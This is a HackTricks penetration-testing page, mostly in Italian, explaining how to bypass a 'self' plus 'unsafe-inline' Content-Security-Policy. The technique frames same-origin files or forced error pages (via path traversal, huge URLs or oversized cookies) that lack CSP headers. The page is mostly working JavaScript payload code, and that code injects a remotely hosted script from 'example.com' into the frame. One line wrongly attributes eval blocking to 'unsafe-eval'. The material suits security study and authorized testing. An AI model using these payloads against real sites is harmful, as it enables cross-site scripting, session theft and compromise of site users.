hacktricks/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md

4.6 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Una configurazione come:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Proibisce l'uso di qualsiasi funzione che esegue codice trasmesso come stringa. Ad esempio: eval, setTimeout, setInterval saranno tutti bloccati a causa dell'impostazione unsafe-eval

Qualsiasi contenuto proveniente da fonti esterne è anche bloccato, comprese immagini, CSS, WebSocket e, soprattutto, JS

Via Testo & Immagini

Si osserva che i browser moderni convertono immagini e testi in HTML per migliorare la loro visualizzazione (ad es., impostazione degli sfondi, centratura, ecc.). Di conseguenza, se un file immagine o di testo, come favicon.ico o robots.txt, viene aperto tramite un iframe, viene reso come HTML. È importante notare che queste pagine spesso mancano di intestazioni CSP e potrebbero non includere X-Frame-Options, consentendo l'esecuzione di JavaScript arbitrario da esse:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Via Errori

Allo stesso modo, le risposte di errore, come file di testo o immagini, di solito arrivano senza intestazioni CSP e potrebbero omettere X-Frame-Options. Gli errori possono essere indotti a caricarsi all'interno di un iframe, consentendo le seguenti azioni:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

Dopo aver attivato uno dei scenari menzionati, l'esecuzione di JavaScript all'interno dell'iframe è realizzabile come segue:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Riferimenti

{% hint style="success" %} Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}